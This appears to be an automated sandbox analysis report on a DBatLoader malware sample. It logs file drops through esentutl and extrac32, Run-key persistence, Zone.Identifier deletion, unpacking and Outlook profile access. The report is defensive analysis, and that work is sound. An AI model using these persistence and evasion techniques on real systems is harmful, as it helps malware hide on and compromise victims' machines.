Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: z1Transaction_ID_REF2418_cmd.bat

Static file information: File size 1139107 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020EED000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1667912373.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: xrbjyllC.pif, 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000006.00000003.1716976132.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr
Source:	Binary string: easinvoker.pdbH source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1723790812.0000000003004000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668442812.0000000003000000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1716716045.0000000021720000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000003.1716716045.0000000021751000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020EED000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1667912373.000000007FE00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000006.00000003.1716976132.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 9.2.xrbjyllC.pif.400000.2.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 11.2.xrbjyllC.pif.400000.2.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 17.2.xrbjyllC.pif.400000.1.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 9.2.xrbjyllC.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 11.2.xrbjyllC.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 17.2.xrbjyllC.pif.400000.1.unpack

Yara detected DBatLoader

Source: Yara match

File source: 3.2.x.exe.31c0000.0.unpack, type: UNPACKEDPE

.NET source code contains method to dynamically call methods (often used by packers)

Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: xrbjyllC.pif.3.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031D894C LoadLibraryW,GetProcAddress,FreeLibrary,

3_2_031D894C

Source: alpha.pif.6.dr

Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C332C push eax; ret	3_2_031C3368
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031CC349 push 8B031CC1h; ret	3_2_031CC34E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031EC378 push 031EC56Eh; ret	3_2_031EC566
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C63B0 push 031C640Bh; ret	3_2_031C6403
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C63AE push 031C640Bh; ret	3_2_031C6403
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031ED2FC push 031ED367h; ret	3_2_031ED35F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DF108 push ecx; mov dword ptr [esp], edx	3_2_031DF10D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031ED144 push 031ED1ECh; ret	3_2_031ED1E4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031ED1F8 push 031ED288h; ret	3_2_031ED280
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D306C push 031D30B9h; ret	3_2_031D30B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D306B push 031D30B9h; ret	3_2_031D30B1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031ED0AC push 031ED125h; ret	3_2_031ED11D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C6784 push 031C67C6h; ret	3_2_031C67BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C6782 push 031C67C6h; ret	3_2_031C67BE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031EC570 push 031EC56Eh; ret	3_2_031EC566
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031CC56C push ecx; mov dword ptr [esp], edx	3_2_031CC571
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031CD5A0 push 031CD5CCh; ret	3_2_031CD5C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031CCBEC push 031CCD72h; ret	3_2_031CCD6A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031CCA1E push 031CCD72h; ret	3_2_031CCD6A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_03234A50 push eax; ret	3_2_03234B20
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DAADF push 031DAB18h; ret	3_2_031DAB10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D8AD8 push 031D8B10h; ret	3_2_031D8B08
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031DAAE0 push 031DAB18h; ret	3_2_031DAB10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D790C push 031D7989h; ret	3_2_031D7981
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D6948 push 031D69F3h; ret	3_2_031D69EB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D6946 push 031D69F3h; ret	3_2_031D69EB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D886C push 031D88AEh; ret	3_2_031D88A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D2F60 push 031D2FD6h; ret	3_2_031D2FCE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031D5E7C push ecx; mov dword ptr [esp], edx	3_2_031D5E7E
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_0041C40C push cs; iretd	9_2_0041C4E2
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_00423149 push eax; ret	9_2_00423179

Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'PosZJRXGKiG9D', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'PosZJRXGKiG9D', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'PosZJRXGKiG9D', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'PosZJRXGKiG9D', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'PosZJRXGKiG9D', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Cllyjbrx.PIF	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\xrbjyllC.pif	Jump to dropped file

Source: C:\Users\Public\Libraries\xrbjyllC.pif	File created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Cllyjbrx.PIF	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\Public\Libraries\xrbjyllC.pif	Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cllyjbrx			Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb			Jump to behavior

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cllyjbrx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cllyjbrx	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sgxIb	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes \| delete
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe:Zone.Identifier read attributes \| delete

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031DAB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_031DAB1C

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Process information set: NOOPENFILEERRORBOX
